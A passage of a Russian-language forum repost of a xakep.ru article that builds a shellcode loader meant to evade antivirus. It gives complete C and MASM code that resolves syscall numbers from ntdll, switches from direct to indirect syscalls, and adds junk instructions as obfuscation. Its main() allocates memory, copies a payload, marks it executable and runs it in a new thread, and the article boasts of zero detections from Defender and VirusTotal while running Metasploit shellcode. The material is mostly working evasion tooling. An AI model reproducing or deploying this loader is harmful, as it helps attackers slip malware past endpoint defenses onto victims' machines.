    SetSSn(g_Nt.NtProtectVirtualMemory.dwSSn);
    if ((STATUS = RunSyscall(hProcess, &pAddress, &sSize, PAGE_EXECUTE_READ, &dwOld)) != 0x00) {
        printf("[!] NtProtectVirtualMemory Failed With Error: 0x%0.8X \n", STATUS);
        return -1;
    }
    SetSSn(g_Nt.NtCreateThreadEx.dwSSn);
    if ((STATUS = RunSyscall(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pAddress, NULL, FALSE, NULL, NULL, NULL, NULL)) != 0x00) {
        printf("[!] NtCreateThreadEx Failed With Error: 0x%0.8X \n", STATUS);
        return -1;
    }
    SetSSn(g_Nt.NtWaitForSingleObject.dwSSn);
    if ((STATUS = RunSyscall(hThread, FALSE, NULL)) != 0x00) {
        printf("[!] NtWaitForSingleObject Failed With Error: 0x%0.8X \n", STATUS);
        return -1;
    }
    printf("[#] Press <Enter> To Quit ... ");
    getchar();
    return 0;
}
Метод выполнения шелл‑кода я не менял, оставил стандартный NtCreateThreadEx(). Итак, пора проверять на антивирусах!

Defender 0 Detect

Результат не может не радовать. Теперь изменяем шелл‑код, будем запускать Metasploit.

Успешный обход


Выполнение команд


ПРЕВРАЩЕНИЕ В INDIRECT SYSCALL​

Убедившись, что наше чудо работает, приведем его к окончательному виду. То, что мы создали, называется Direct Syscall — вызов сискола путем вставки в код программы инструкции syscall. Такой метод самую малость шумноват, так как инструкция syscall нехарактерна для обычных исполняемых файлов.

По умолчанию эта инструкция присутствует только в файле ntdll.dll. Поэтому предлагаю переделать нашу программу под Indirect Syscalls. Реализация через косвенные вызовы заключается в том, что в нашем коде будет отсутствовать вызов инструкции syscall. Вместо этого мы собственноручно обнаружим адрес этой инструкции в ntdll.dll, а затем обратимся к нему, что спровоцирует вызов и переход в Kernel Mode.

Сначала изменяем структуру NT_SYSCALL, теперь в ней еще будет лежать и адрес инструкции syscall.
Код:
typedef struct _NT_SYSCALL
{
    DWORD dwSSn;
    DWORD dwSyscallHash;
    PVOID pSyscallAddress;
    PVOID pSyscallInstAddress;     // Адрес будет вот тут
}NT_SYSCALL, * PNT_SYSCALL;
Следующим шагом изменим функцию FetchNtSyscall(), добавив в нее возможность поиска адреса инструкции syscall в адресном пространстве ntdll.dll. Поиск вновь делаем по паттернам в памяти. Нам требуется найти 0x0f и 0x05, что соответствует нужной инструкции.

Опкоды инструкции syscall

Для поиска предлагаю использовать алгоритм по добавлению к адресу функции в ntdll значения 0xFF. Этот адрес, если что, на момент поиска инструкции syscall будет лежать в pSyscallAddress.
Код:
#define RANGE 500
...
    ULONG_PTR uFuncAddress = (ULONG_PTR)pNtSys->pSyscallAddress + 0xFF;
    for (DWORD z = 0, x = 1; z <= RANGE; z++, x++) {
        if (*((PBYTE)uFuncAddress + z) == 0x0F && *((PBYTE)uFuncAddress + x) == 0x05) {
            pNtSys->pSyscallInstAddress = ((ULONG_PTR)uFuncAddress + z);
            break;
        }
    }
Этот код добавляем в конец функции FetchNtSyscalls().
Код:
#define RANGE 500
BOOL FetchNtSyscall(IN DWORD dwSysHash, OUT PNT_SYSCALL pNtSys) {
    if (!g_NtdllConf.uModule) {
        if (!InitNtdllConfigStructure())
            return FALSE;
    }
    if (dwSysHash != NULL)
        pNtSys->dwSyscallHash = dwSysHash;
    else
        return FALSE;
    for (size_t i = 0; i < g_NtdllConf.dwNumberOfNames; i++) {
            ...
    }
    if (!pNtSys->pSyscallAddress)
        return FALSE;
    ULONG_PTR uFuncAddress = (ULONG_PTR)pNtSys->pSyscallAddress + 0xFF;
    for (DWORD z = 0, x = 1; z <= RANGE; z++, x++) {
        if (*((PBYTE)uFuncAddress + z) == 0x0F && *((PBYTE)uFuncAddress + x) == 0x05) {
            pNtSys->pSyscallInstAddress = ((ULONG_PTR)uFuncAddress + z);
            break;
        }
    }
    if (pNtSys->dwSSn != NULL && pNtSys->pSyscallAddress != NULL && pNtSys->dwSyscallHash != NULL && pNtSys->pSyscallInstAddress != NULL)
        return TRUE;
    else
        return FALSE;
}
Затем следует изменить ассемблерный код, а именно функции SetSSn и RunSyscall. Раньше SetSSn требовал только SSN системного вызова, а затем использовал RunSyscall для его выполнения. Теперь в SetSSn передается еще и значение qSyscallInsAdress — адрес инструкции syscall.

Из регистров ecx и rdx, которые инициализируются при вызове функции, копируются номер сискола и адрес. А затем в функции RunSyscall() мы заносим номера сискола в реестр eax и переходим по адресу инструкции syscall, что приводит к выполнению Indirect-сискола.
Код:
.data
  wSystemCall       DWORD   0h
  qSyscallInsAdress QWORD   0h
.code
  SetSSn PROC
      mov wSystemCall, 0h
      mov qSyscallInsAdress, 0h
      mov wSystemCall, ecx
      mov qSyscallInsAdress, rdx
      ret
  SetSSn ENDP
  RunSyscall PROC
      mov r10, rcx
      mov eax, wSystemCall
      jmp qword ptr [qSyscallInsAdress]
      ret
  RunSyscall ENDP
end
Ну и чуть‑чуть обфусцируем наше творение.
Код:
.data
    wSystemCall         DWORD   0h
    qSyscallInsAdress   QWORD   0h
.code
        SetSSn proc
        xor eax, eax                          ; eax = 0
        mov wSystemCall, eax                  ; wSystemCall = 0
        mov qSyscallInsAdress, rax            ; qSyscallInsAdress = 0
        mov eax, ecx                          ; eax = ssn
        mov wSystemCall, eax                  ; wSystemCall = eax = ssn
        mov r8, rdx                           ; r8 = AddressOfASyscallInst
        mov qSyscallInsAdress, r8             ; qSyscallInsAdress = r8 = AddressOfASyscallInst
        ret
        SetSSn endp
        RunSyscall proc
        xor r10, r10                          ; r10 = 0
        mov rax, rcx                          ; rax = rcx
        mov r10, rax                          ; r10 = rax = rcx
        mov eax, wSystemCall                  ; eax = ssn
        jmp Run
        xor eax, eax      ; wont run
        xor rcx, rcx      ; wont run
        shl r10, 2        ; wont run
    Run:
        jmp qword ptr [qSyscallInsAdress]
        xor r10, r10                        ; r10 = 0
        mov qSyscallInsAdress, r10          ; qSyscallInsAdress = 0
        ret
      RunSyscall endp
end
Чтобы каждый раз не указывать элементы структуры NT_SYSCALL, можно написать макрос, который автоматически дернет SetSSn с нужными параметрами, если ему передадут экземпляр структуры.
Код:
#define SET_SYSCALL(NtSys)(SetSSn((DWORD)NtSys.dwSSn,(PVOID)NtSys.pSyscallInstAddress))
В результате получаем элегантный кусок кода.
Код:
NT_SYSCALL NtAllocateVirtualMemory = { 0 };
FetchNtSyscall(NtAllocateVirtualMemory_Hash, &NtAllocateVirtualMemory);
SET_SYSCALL(NtAllocateVirtualMemory);
RunSyscall(/* параметры для NtAllocateVirtualMemory  */);
Все нужные функции будут по‑прежнему храниться в структуре NTAPI_FUNC, надо лишь чуть поправить инициализирующую функцию InitializeNtSyscalls().
Код:
BOOL InitializeNtSyscalls() {
    if (!FetchNtSyscall(NtAllocateVirtualMemory_CRC32, &g_Nt.NtAllocateVirtualMemory)) {
        printf("[!] Failed In Obtaining The Syscall Number Of NtAllocateVirtualMemory \n");
        return FALSE;
    }
    printf("[+] Syscall Number Of NtAllocateVirtualMemory Is : 0x%0.2X \n\t\t>> Executing 'syscall' instruction Of Address : 0x%p\n", g_Nt.NtAllocateVirtualMemory.dwSSn, g_Nt.NtAllocateVirtualMemory.pSyscallInstAddress);
    if (!FetchNtSyscall(NtProtectVirtualMemory_CRC32, &g_Nt.NtProtectVirtualMemory)) {
        printf("[!] Failed In Obtaining The Syscall Number Of NtProtectVirtualMemory \n");
        return FALSE;
    }
    printf("[+] Syscall Number Of NtProtectVirtualMemory Is : 0x%0.2X \n\t\t>> Executing 'syscall' instruction Of Address : 0x%p\n", g_Nt.NtProtectVirtualMemory.dwSSn, g_Nt.NtProtectVirtualMemory.pSyscallInstAddress);
    if (!FetchNtSyscall(NtCreateThreadEx_CRC32, &g_Nt.NtCreateThreadEx)) {
        printf("[!] Failed In Obtaining The Syscall Number Of NtCreateThreadEx \n");
        return FALSE;
    }
    printf("[+] Syscall Number Of NtCreateThreadEx Is : 0x%0.2X \n\t\t>> Executing 'syscall' instruction Of Address : 0x%p\n", g_Nt.NtCreateThreadEx.dwSSn, g_Nt.NtCreateThreadEx.pSyscallInstAddress);
    if (!FetchNtSyscall(NtWaitForSingleObject_CRC32, &g_Nt.NtWaitForSingleObject)) {
        printf("[!] Failed In Obtaining The Syscall Number Of NtWaitForSingleObject \n");
        return FALSE;
    }
    printf("[+] Syscall Number Of NtWaitForSingleObject Is : 0x%0.2X \n\t\t>> Executing 'syscall' instruction Of Address : 0x%p\n", g_Nt.NtWaitForSingleObject.dwSSn, g_Nt.NtWaitForSingleObject.pSyscallInstAddress);
    return TRUE;
}
И финальное — main():
Код:
int main() {
    NTSTATUS    STATUS      = NULL;
    PVOID       pAddress    = NULL;
    SIZE_T      sSize       = sizeof(Payload);
    DWORD       dwOld       = NULL;
    HANDLE      hProcess    = (HANDLE)-1,
                hThread     = NULL;
    if (!InitializeNtSyscalls()) {
        printf("[!] Failed To Initialize The Specified Indirect-Syscalls \n");
        return -1;
    }
    SET_SYSCALL(g_Nt.NtAllocateVirtualMemory);
    if ((STATUS = RunSyscall(hProcess, &pAddress, 0, &sSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE)) != 0x00 || pAddress == NULL) {
        printf("[!] NtAllocateVirtualMemory Failed With Error: 0x%0.8X \n", STATUS);
        return -1;
    }
    memcpy(pAddress, Payload, sizeof(Payload));
    sSize = sizeof(Payload);
    SET_SYSCALL(g_Nt.NtProtectVirtualMemory);
    if ((STATUS = RunSyscall(hProcess, &pAddress, &sSize, PAGE_EXECUTE_READ, &dwOld)) != 0x00) {
        printf("[!] NtProtectVirtualMemory Failed With Status : 0x%0.8X\n", STATUS);
        return -1;
    }
    SET_SYSCALL(g_Nt.NtCreateThreadEx);
    if ((STATUS = RunSyscall(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pAddress, NULL, FALSE, NULL, NULL, NULL, NULL)) != 0x00) {
        printf("[!] NtCreateThreadEx Failed With Status : 0x%0.8X\n", STATUS);
        return -1;
    }
    SET_SYSCALL(g_Nt.NtWaitForSingleObject);
    if ((STATUS = RunSyscall(hThread, FALSE, NULL)) != 0x00) {
        printf("[!] NtWaitForSingleObject Failed With Error: 0x%0.8X \n", STATUS);
        return -1;
    }
    printf("[#] Press <Enter> To Quit ... ");
    getchar();
    return 0;
}

ФИНАЛЬНЫЙ ВАРИАНТ​

Итак, проект был переписан под Indirect-сисколы, ассемблерный листинг обфусцирован, логика поиска улучшена. Само собой, этот вариант станет еще более незаметным и скрытым от антивирусных программ!
Результаты сканирования на VT


Defender молчит

Поздравляю, мы добились желаемого результата!

Автор MichelleVermishelle
источник xakep.ru
 
Хочешь узнать, как обойти антивирусные программы с помощью системных вызовов?
Syscall'ы можно задетектить кернел хуком. Даже помойный аваст их детектит
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх